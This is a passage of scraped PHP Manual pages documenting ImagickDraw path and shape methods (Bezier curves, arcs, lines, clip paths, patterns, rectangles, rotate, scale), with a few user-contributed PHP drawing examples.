Draws a quadratic Bezier curve (using absolute coordinates) from the current point to (x,y). The control point is assumed to be the reflection of the control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not a DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut or DrawPathCurveToQuadraticBezierSmoothRelative, assume the control point is coincident with the current point.). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToQuadraticBezierRelative
ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
ImagickDraw


Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
ImagickDraw::pathCurveToRelative
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve

Description

bool ImagickDraw::pathCurveToQuadraticBezierSmoothRelative ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a quadratic Bezier curve (using relative coordinates) from the current point to (x, y). The control point is assumed to be the reflection of the control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not a DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut or DrawPathCurveToQuadraticBezierSmoothRelative, assume the control point is coincident with the current point). At the end of the command, the new current point becomes the final (x, y) coordinate pair used in the polybezier.

Parameters

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
ImagickDraw::pathCurveToRelative
ImagickDraw


Draws a cubic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
ImagickDraw::pathCurveToSmoothAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToRelative ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using (x1,y1) as the control point at the beginning of the curve and (x2,y2) as the control point at the end of the curve using relative coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x1

x coordinate of starting control point

y1

y coordinate of starting control point

x2

x coordinate of ending control point

y2

y coordinate of ending control point

x

ending x coordinate

y

ending y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
ImagickDraw::pathCurveToSmoothAbsolute
ImagickDraw


Draws a cubic Bezier curve

ImagickDraw::pathCurveToRelative
ImagickDraw::pathCurveToSmoothRelative
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToSmoothAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToSmoothAbsolute ( float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using absolute coordinates. The first control point is assumed to be the reflection of the second control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not an DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute or DrawPathCurveToSmoothRelative, assume the first control point is coincident with the current point.) (x2,y2) is the second control point (i.e., the control point at the end of the curve). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x2

x coordinate of the second control point

y2

y coordinate of the second control point

x

x coordinate of the ending point

y

y coordinate of the ending point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToRelative
ImagickDraw::pathCurveToSmoothRelative
ImagickDraw


Draws a cubic Bezier curve

ImagickDraw::pathCurveToSmoothAbsolute
ImagickDraw::pathEllipticArcAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathCurveToSmoothRelative

(PECL imagick 2.0.0)

ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve

Description

bool ImagickDraw::pathCurveToSmoothRelative ( float $x2 , float $y2 , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a cubic Bezier curve from the current point to (x,y) using relative coordinates. The first control point is assumed to be the reflection of the second control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not an DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute or DrawPathCurveToSmoothRelative, assume the first control point is coincident with the current point.) (x2,y2) is the second control point (i.e., the control point at the end of the curve). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

Parameters

x2

x coordinate of the second control point

y2

y coordinate of the second control point

x

x coordinate of the ending point

y

y coordinate of the ending point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToSmoothAbsolute
ImagickDraw::pathEllipticArcAbsolute
ImagickDraw


Draws an elliptical arc

ImagickDraw::pathCurveToSmoothRelative
ImagickDraw::pathEllipticArcRelative
ImagickDraw
PHP Manual

ImagickDraw::pathEllipticArcAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc

Description

bool ImagickDraw::pathEllipticArcAbsolute ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws an elliptical arc from the current point to (x, y) using absolute coordinates. The size and orientation of the ellipse are defined by two radii (rx, ry) and an xAxisRotation, which indicates how the ellipse as a whole is rotated relative to the current coordinate system. The center (cx, cy) of the ellipse is calculated automatically to satisfy the constraints imposed by the other parameters. largeArcFlag and sweepFlag contribute to the automatic calculations and help determine how the arc is drawn. If largeArcFlag is TRUE then draw the larger of the available arcs. If sweepFlag is true, then draw the arc matching a clock-wise rotation.

Parameters

rx

x radius

ry

y radius

x_axis_rotation

x axis rotation

large_arc_flag

large arc flag

sweep_flag

sweep flag

x

x coordinate

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathCurveToSmoothRelative
ImagickDraw::pathEllipticArcRelative
ImagickDraw


Draws an elliptical arc

ImagickDraw::pathEllipticArcAbsolute
ImagickDraw::pathFinish
ImagickDraw
PHP Manual

ImagickDraw::pathEllipticArcRelative

(PECL imagick 2.0.0)

ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc

Description

bool ImagickDraw::pathEllipticArcRelative ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws an elliptical arc from the current point to (x, y) using relative coordinates. The size and orientation of the ellipse are defined by two radii (rx, ry) and an xAxisRotation, which indicates how the ellipse as a whole is rotated relative to the current coordinate system. The center (cx, cy) of the ellipse is calculated automatically to satisfy the constraints imposed by the other parameters. largeArcFlag and sweepFlag contribute to the automatic calculations and help determine how the arc is drawn. If largeArcFlag is TRUE then draw the larger of the available arcs. If sweepFlag is true, then draw the arc matching a clock-wise rotation.

Parameters

rx

x radius

ry

y radius

x_axis_rotation

x axis rotation

large_arc_flag

large arc flag

sweep_flag

sweep flag

x

x coordinate

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathEllipticArcAbsolute
ImagickDraw::pathFinish
ImagickDraw


Terminates the current path

ImagickDraw::pathEllipticArcRelative
ImagickDraw::pathLineToAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathFinish

(PECL imagick 2.0.0)

ImagickDraw::pathFinish — Terminates the current path

Description

bool ImagickDraw::pathFinish ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates the current path.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathEllipticArcRelative
ImagickDraw::pathLineToAbsolute
ImagickDraw


Draws a line path

ImagickDraw::pathFinish
ImagickDraw::pathLineToHorizontalAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathLineToAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathLineToAbsolute — Draws a line path

Description

bool ImagickDraw::pathLineToAbsolute ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a line path from the current point to the given coordinate using absolute coordinates. The coordinate then becomes the new current point.

Parameters

x

starting x coordinate

y

ending x coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathFinish
ImagickDraw::pathLineToHorizontalAbsolute
ImagickDraw


Draws a horizontal line path

ImagickDraw::pathLineToAbsolute
ImagickDraw::pathLineToHorizontalRelative
ImagickDraw
PHP Manual

ImagickDraw::pathLineToHorizontalAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path

Description

bool ImagickDraw::pathLineToHorizontalAbsolute ( float $x )
Warning

This function is currently not documented; only its argument list is available.

Draws a horizontal line path from the current point to the target point using absolute coordinates. The target point then becomes the new current point.

Parameters

x

x coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathLineToAbsolute
ImagickDraw::pathLineToHorizontalRelative
ImagickDraw


Draws a horizontal line

ImagickDraw::pathLineToHorizontalAbsolute
ImagickDraw::pathLineToRelative
ImagickDraw
PHP Manual

ImagickDraw::pathLineToHorizontalRelative

(PECL imagick 2.0.0)

ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line

Description

bool ImagickDraw::pathLineToHorizontalRelative ( float $x )
Warning

This function is currently not documented; only its argument list is available.

Draws a horizontal line path from the current point to the target point using relative coordinates. The target point then becomes the new current point.

Parameters

x

x coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathLineToHorizontalAbsolute
ImagickDraw::pathLineToRelative
ImagickDraw


Draws a line path

ImagickDraw::pathLineToHorizontalRelative
ImagickDraw::pathLineToVerticalAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathLineToRelative

(PECL imagick 2.0.0)

ImagickDraw::pathLineToRelative — Draws a line path

Description

bool ImagickDraw::pathLineToRelative ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a line path from the current point to the given coordinate using relative coordinates. The coordinate then becomes the new current point.

Parameters

x

starting x coordinate

y

starting y coordinate

Return Values

No value is returned.

User Contributed Notes

Axeia 11-Apr-2009 05:20
Hope this of help of anything, I had one hell of a time to draw a simple pie slice, where in GD2 is very easily done with the 'arc' function.. this is a bit harder to do in imagick.

The degrees are a mess, seems like the path, arc and ellipse functions all use a different system.. utterly confusing.
Code below should at least be of help in understanding how it works.

For an example of the output, please see:
http://www.imagebam.com/image/8e0ca432393602
<?php
    function getPointOnCircumference( $widthOfCircle, $heightOfCircle, $degrees, $x = 0, $y = 0 )
    {
        return array(
            'x' => $x + ($widthOfCircle/2)  * sin( deg2rad( $degrees ) ),
            'y' => $y + ($heightOfCircle/2) * cos( deg2rad( $degrees ) )
        );
    }

    $width  = 200;
    $height = 200;
    $border = 2;
    $x = $width / 2;
    $y = $height / 2;
    $im = new Imagick();
    $im->newImage( $width, $height, "orange", "png" );

    $draw = new ImagickDraw();
    $draw->setFillColor( 'lime' );
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->arc( 0, 0, ($width-$border), ($height-$border), 270, 360  ); //270 till 360 degrees
    $im->DrawImage( $draw );

    $draw2 = new ImagickDraw();
    $draw2->setFillColor( 'red' );
    $draw2->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw2->setStrokeWidth( 2 );
    $draw2->ellipse( 100, 100, $x-$border, $y-$border, 0, 90 );         //0 till 90 degrees
    $im->DrawImage( $draw2 );

    $draw3 = new ImagickDraw();
    $draw3->setFillColor( 'navy' );
    $draw3->setStrokeColor( new ImagickPixel( 'white' ) );
    $draw3->setStrokeWidth( 2 );
    $draw3->pathStart();
      $degrees90  = getPointOnCircumference( $width-2*$border,$height-2*$border, 360  );
      $degrees180 = getPointOnCircumference( $width-2*$border,$height-2*$border, 270 );
      $draw3->pathMoveToRelative( $x, $y ); //Move 'pencil' to middle of image.
      $draw3->pathLineToRelative(  $degrees90['x'],  $degrees90['y'] );
      $draw3->pathEllipticArcRelative( $width-$border, $height-$border, 0, false, true, $degrees180['x'], $degrees180['y']-$y+$border );
    $draw3->pathClose();
    $im->DrawImage( $draw3 );

    header( "Content-Type: image/png" );
    echo $im;
?>
ImagickDraw::pathLineToHorizontalRelative
ImagickDraw::pathLineToVerticalAbsolute
ImagickDraw


Draws a vertical line

ImagickDraw::pathLineToRelative
ImagickDraw::pathLineToVerticalRelative
ImagickDraw
PHP Manual

ImagickDraw::pathLineToVerticalAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line

Description

bool ImagickDraw::pathLineToVerticalAbsolute ( float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a vertical line path from the current point to the target point using absolute coordinates. The target point then becomes the new current point.

Parameters

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathLineToRelative
ImagickDraw::pathLineToVerticalRelative
ImagickDraw


Draws a vertical line path

ImagickDraw::pathLineToVerticalAbsolute
ImagickDraw::pathMoveToAbsolute
ImagickDraw
PHP Manual

ImagickDraw::pathLineToVerticalRelative

(PECL imagick 2.0.0)

ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path

Description

bool ImagickDraw::pathLineToVerticalRelative ( float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a vertical line path from the current point to the target point using relative coordinates. The target point then becomes the new current point.

Parameters

y

y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathLineToVerticalAbsolute
ImagickDraw::pathMoveToAbsolute
ImagickDraw


Starts a new sub-path

ImagickDraw::pathLineToVerticalRelative
ImagickDraw::pathMoveToRelative
ImagickDraw
PHP Manual

ImagickDraw::pathMoveToAbsolute

(PECL imagick 2.0.0)

ImagickDraw::pathMoveToAbsolute — Starts a new sub-path

Description

bool ImagickDraw::pathMoveToAbsolute ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Starts a new sub-path at the given coordinate using absolute coordinates. The current point then becomes the specified coordinate.

Parameters

x

x coordinate of the starting point

y

y coordinate of the starting point

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathLineToVerticalRelative
ImagickDraw::pathMoveToRelative
ImagickDraw


Starts a new sub-path

ImagickDraw::pathMoveToAbsolute
ImagickDraw::pathStart
ImagickDraw
PHP Manual

ImagickDraw::pathMoveToRelative

(PECL imagick 2.0.0)

ImagickDraw::pathMoveToRelative — Starts a new sub-path

Description

bool ImagickDraw::pathMoveToRelative ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Starts a new sub-path at the given coordinate using relative coordinates. The current point then becomes the specified coordinate.

Parameters

x

target x coordinate

y

target y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathMoveToAbsolute
ImagickDraw::pathStart
ImagickDraw


Declares the start of a path drawing list

ImagickDraw::pathMoveToRelative
ImagickDraw::point
ImagickDraw
PHP Manual

ImagickDraw::pathStart

(PECL imagick 2.0.0)

ImagickDraw::pathStart — Declares the start of a path drawing list

Description

bool ImagickDraw::pathStart ( void )
Warning

This function is currently not documented; only its argument list is available.

Declares the start of a path drawing list which is terminated by a matching DrawPathFinish() command. All other DrawPath commands must be enclosed between a and a DrawPathFinish() command. This is because path drawing commands are subordinate commands and they do not function by themselves.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pathMoveToRelative
ImagickDraw::point
ImagickDraw


Draws a point

ImagickDraw::pathStart
ImagickDraw::polygon
ImagickDraw
PHP Manual

ImagickDraw::point

(PECL imagick 2.0.0)

ImagickDraw::point — Draws a point

Description

bool ImagickDraw::point ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Draws a point using the current stroke color and stroke thickness at the specified coordinates.

Parameters

x

point's x coordinate

y

point's y coordinate

Return Values

No value is returned.

User Contributed Notes

spz 26-Sep-2009 11:41
point($x, $y) uses the FillColor of ImagickDraw! This actually took quite a while, till I found out that it's falsely documented on these pages. So to draw single pixels, do it like this:

<?php
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel('red');
$image->newImage(10, 10, 'transparent', 'gif');

// Here comes the magick:
$pixel->setColor($_POST[$i."x".$j]);
$draw->setFillColor($pixel);
$draw->point($i,$j);

$image->drawImage($draw);
$image->writeImages($path, true);
?>
ImagickDraw::pathStart
ImagickDraw::polygon
ImagickDraw


Draws a polygon

ImagickDraw::point
ImagickDraw::polyline
ImagickDraw
PHP Manual

ImagickDraw::polygon

(PECL imagick 2.0.0)

ImagickDraw::polygon — Draws a polygon

Description

bool ImagickDraw::polygon ( array $coordinates )
Warning

This function is currently not documented; only its argument list is available.

Draws a polygon using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinates

multidimensional array like array( array( 'x' => 3, 'y' => 4 ), array( 'x' => 2, 'y' => 6 ) );

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::point
ImagickDraw::polyline
ImagickDraw


Draws a polyline

ImagickDraw::polygon
ImagickDraw::pop
ImagickDraw
PHP Manual

ImagickDraw::polyline

(PECL imagick 2.0.0)

ImagickDraw::polyline — Draws a polyline

Description

bool ImagickDraw::polyline ( array $coordinates )
Warning

This function is currently not documented; only its argument list is available.

Draws a polyline using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinates

array of x and y coordinates: array( array( 'x' => 4, 'y' => 6 ), array( 'x' => 8, 'y' => 10 ) )

Return Values

Returns TRUE on success.

User Contributed Notes

kris at blackpepper dot co dot nz 10-Jun-2010 08:51
draw a filled Isosceles Triangle

<?php
$width =  601;
$height = 601;

$max_x = $width  - 1;
$max_y = $height - 1;
$mid_y = $max_y / 2;
$mid_x = $max_x / 2;

$fillcolor = '#F00F00';

try {
        $lo_img = new Imagick();
        $lo_img->newImage( $width, $height, new ImagickPixel('transparent'));

        $draw = new ImagickDraw();

        $draw->setFillColor($fillcolor);
        $draw->setStrokeWidth( 1 );

                            //start point                  //end point
        $co_ords = array( array( 'x' => $mid_x, 'y' => 0 ),array('x'=>0,'y'=>$max_y)
                ,array( 'x' => 0, 'y' => $max_y ),array('x'=>$max_x,'y'=>$max_y)
                 ,array( 'x' => $mid_x, 'y' => 0 ),array('x'=>$max_x,'y'=>$max_y)
                );

        $draw->polyline($co_ords);

        $lo_img->drawImage( $draw );

        $lo_img->setImageFormat( "png" );

        header( "Content-Type: image/png" );
        echo $lo_img;

        $lo_img->destroy();
        $draw->destroy();
        exit;

    } catch (Exception $ex) {
        print_r($ex);
        return;
    }
?>
ImagickDraw::polygon
ImagickDraw::pop
ImagickDraw


Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

ImagickDraw::polyline
ImagickDraw::popClipPath
ImagickDraw
PHP Manual

ImagickDraw::pop

(PECL imagick 2.0.0)

ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw

Description

bool ImagickDraw::pop ( void )
Warning

This function is currently not documented; only its argument list is available.

Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw. Multiple ImagickDraws may exist. It is an error to attempt to pop more ImagickDraws than have been pushed, and it is proper form to pop all ImagickDraws which have been pushed.

Return Values

Returns TRUE on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::polyline
ImagickDraw::popClipPath
ImagickDraw


Terminates a clip path definition

ImagickDraw::pop
ImagickDraw::popDefs
ImagickDraw
PHP Manual

ImagickDraw::popClipPath

(PECL imagick 2.0.0)

ImagickDraw::popClipPath — Terminates a clip path definition

Description

bool ImagickDraw::popClipPath ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates a clip path definition.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pop
ImagickDraw::popDefs
ImagickDraw


Terminates a definition list

ImagickDraw::popClipPath
ImagickDraw::popPattern
ImagickDraw
PHP Manual

ImagickDraw::popDefs

(PECL imagick 2.0.0)

ImagickDraw::popDefs — Terminates a definition list

Description

bool ImagickDraw::popDefs ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates a definition list.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::popClipPath
ImagickDraw::popPattern
ImagickDraw


Terminates a pattern definition

ImagickDraw::popDefs
ImagickDraw::push
ImagickDraw
PHP Manual

ImagickDraw::popPattern

(PECL imagick 2.0.0)

ImagickDraw::popPattern — Terminates a pattern definition

Description

bool ImagickDraw::popPattern ( void )
Warning

This function is currently not documented; only its argument list is available.

Terminates a pattern definition.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::popDefs
ImagickDraw::push
ImagickDraw


Clones the current ImagickDraw and pushes it to the stack

ImagickDraw::popPattern
ImagickDraw::pushClipPath
ImagickDraw
PHP Manual

ImagickDraw::push

(PECL imagick 2.0.0)

ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack

Description

bool ImagickDraw::push ( void )
Warning

This function is currently not documented; only its argument list is available.

Clones the current ImagickDraw to create a new ImagickDraw, which is then added to the ImagickDraw stack. The original drawing ImagickDraw(s) may be returned to by invoking pop(). The ImagickDraws are stored on a ImagickDraw stack. For every Pop there must have already been an equivalent Push.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::popPattern
ImagickDraw::pushClipPath
ImagickDraw


Starts a clip path definition

ImagickDraw::push
ImagickDraw::pushDefs
ImagickDraw
PHP Manual

ImagickDraw::pushClipPath

(PECL imagick 2.0.0)

ImagickDraw::pushClipPath — Starts a clip path definition

Description

bool ImagickDraw::pushClipPath ( string $clip_mask_id )
Warning

This function is currently not documented; only its argument list is available.

Starts a clip path definition which is comprised of any number of drawing commands and terminated by a ImagickDraw::popClipPath() command.

Parameters

clip_mask_id

Clip mask Id

Return Values

No value is returned.

User Contributed Notes

bogdan at moongate dot ro 08-Apr-2011 06:02
Here's an interactive example for your enjoyment, featuring two intersecting discs. My version doesn't antialias the clipping path; I suppose YMMV.

<?php

// Simple clip path example
// Bogdan Stancescu

$showClipping=1; // Try setting this to 0!
$showDrawing=1;  // Try setting this to 0!

// Don't edit below this line (at least until you understand the example)

$showBoth=$showClipping && $showDrawing;
$showAny=$showClipping || $showDrawing;

$image=new Imagick(); // Create image

// Image size
$width=151;
$height=101;

$image->newImage($width, $height, new ImagickPixel('lightgray')); // some visible background

$draw=new ImagickDraw(); // Create draw object

if ($showBoth)
        $draw->pushClipPath('circle_left'); // Start clipping path

if ($showClipping) {
        $draw->setFillColor('red'); // The color doesn't matter if we clip
        $draw->circle(50,50,50,0); // A circle that occupies 100x100px on the left
}

if ($showBoth) {
        $draw->popClipPath(); // Finish clipping path
        $draw->setClipPath('circle_left'); // Use the clipping path above
}

if ($showDrawing) {
        $draw->setFillColor('navy'); // This is the actual drawing color
        $draw->circle(100,50,100,0); // A circle that occupies 100x100px on the right
}

if ($showAny)
        $image->drawImage($draw); // Render $draw unto $image

$image->setImageFormat('png'); // Tell ImageMagick how to render this
header("Content-Type: image/png"); // Tell the browser how to render this

echo $image; // Render the image into the browser
?>
ImagickDraw::push
ImagickDraw::pushDefs
ImagickDraw


Indicates that following commands create named elements for early processing

ImagickDraw::pushClipPath
ImagickDraw::pushPattern
ImagickDraw
PHP Manual

ImagickDraw::pushDefs

(PECL imagick 2.0.0)

ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing

Description

bool ImagickDraw::pushDefs ( void )
Warning

This function is currently not documented; only its argument list is available.

Indicates that commands up to a terminating ImagickDraw::popDefs() command create named elements (e.g. clip-paths, textures, etc.) which may safely be processed earlier for the sake of efficiency.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pushClipPath
ImagickDraw::pushPattern
ImagickDraw


Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

ImagickDraw::pushDefs
ImagickDraw::rectangle
ImagickDraw
PHP Manual

ImagickDraw::pushPattern

(PECL imagick 2.0.0)

ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern

Description

bool ImagickDraw::pushPattern ( string $pattern_id , float $x , float $y , float $width , float $height )
Warning

This function is currently not documented; only its argument list is available.

Indicates that subsequent commands up to a DrawPopPattern() command comprise the definition of a named pattern. The pattern space is assigned top left corner coordinates, a width and height, and becomes its own drawing space. Anything which can be drawn may be used in a pattern definition. Named patterns may be used as stroke or brush definitions.

Parameters

pattern_id

the pattern Id

x

x coordinate of the top-left corner

y

y coordinate of the top-left corner

width

width of the pattern

height

height of the pattern

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::pushDefs
ImagickDraw::rectangle
ImagickDraw


Draws a rectangle

ImagickDraw::pushPattern
ImagickDraw::render
ImagickDraw
PHP Manual

ImagickDraw::rectangle

(PECL imagick 2.0.0)

ImagickDraw::rectangle — Draws a rectangle

Description

bool ImagickDraw::rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )
Warning

This function is currently not documented; only its argument list is available.

Draws a rectangle given two coordinates and using the current stroke, stroke width, and fill settings.

Parameters

x1

x coordinate of the top left corner

y1

y coordinate of the top left corner

x2

x coordinate of the bottom right corner

y2

y coordinate of the bottom right corner

Return Values

No value is returned.

User Contributed Notes

garym at binaryfarm dot com 28-Feb-2010 04:32
<?php

// Draw a simple rectangle or three for the newbies.
// I'm trying to comment these as best I can for a non-OOP person.
// commets or criticism are welcome. Gary Melander

$image = new Imagick();    // Create a new instance an $image class

$width =  600;        // Some necessary dimensions
$height = 400;

// $image class now inherits some attributes. i.e. Dimensions, bkgcolor...
$image->newImage( $width, $height, new ImagickPixel( 'lightgray' ) );

$draw = new ImagickDraw();    //Create a new drawing class (?)

$draw->setFillColor('wheat');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'green' ) );
$draw->rectangle( 100, 100, 200, 200 );    // Draw the rectangle

// Lets draw another
$draw->setFillColor('navy');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'yellow' ) );
$draw->setStrokeWidth(4);
$draw->rectangle( 150, 225, 350, 300 );    // Draw the rectangle

// and another
$draw->setFillColor('magenta');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'cyan' ) );
$draw->setStrokeWidth(2);
$draw->rectangle( 380, 100, 400, 350 );    // Draw the rectangle

$image->drawImage( $draw );    // Apply the stuff from the draw class to the image canvas

$image->setImageFormat('jpg');    // Give the image a format

header('Content-type: image/jpeg');     // Prepare the web browser to display an image
echo $image;                // Publish it to the world!

//$image->writeImage('someimage.jpg");    // ...Or just write it to a file...

?>
ImagickDraw::pushPattern
ImagickDraw::render
ImagickDraw


Renders all preceding drawing commands onto the image

ImagickDraw::rectangle
ImagickDraw::rotate
ImagickDraw
PHP Manual

ImagickDraw::render

(PECL imagick 2.0.0)

ImagickDraw::render — Renders all preceding drawing commands onto the image

Description

bool ImagickDraw::render ( void )
Warning

This function is currently not documented; only its argument list is available.

Renders all preceding drawing commands onto the image.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::rectangle
ImagickDraw::rotate
ImagickDraw


Applies the specified rotation to the current coordinate space

ImagickDraw::render
ImagickDraw::roundRectangle
ImagickDraw
PHP Manual

ImagickDraw::rotate

(PECL imagick 2.0.0)

ImagickDraw::rotate — Applies the specified rotation to the current coordinate space

Description

bool ImagickDraw::rotate ( float $degrees )
Warning

This function is currently not documented; only its argument list is available.

Applies the specified rotation to the current coordinate space.

Parameters

degrees

degrees to rotate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::render
ImagickDraw::roundRectangle
ImagickDraw


Draws a rounded rectangle

ImagickDraw::rotate
ImagickDraw::scale
ImagickDraw
PHP Manual

ImagickDraw::roundRectangle

(PECL imagick 2.0.0)

ImagickDraw::roundRectangle — Draws a rounded rectangle

Description

bool ImagickDraw::roundRectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )
Warning

This function is currently not documented; only its argument list is available.

Draws a rounded rectangle given two coordinates, x & y corner radiuses and using the current stroke, stroke width, and fill settings.

Parameters

x1

x coordinate of the top left corner

y1

y coordinate of the top left corner

x2

x coordinate of the bottom right

y2

y coordinate of the bottom right

rx

x rounding

ry

y rounding

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::rotate
ImagickDraw::scale
ImagickDraw


Adjusts the scaling factor

ImagickDraw::roundRectangle
ImagickDraw::setClipPath
ImagickDraw
PHP Manual

ImagickDraw::scale

(PECL imagick 2.0.0)

ImagickDraw::scale — Adjusts the scaling factor

Description

bool ImagickDraw::scale ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Adjusts the scaling factor to apply in the horizontal and vertical directions to the current coordinate space.

Parameters

x

horizontal factor

y

vertical factor

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::roundRectangle
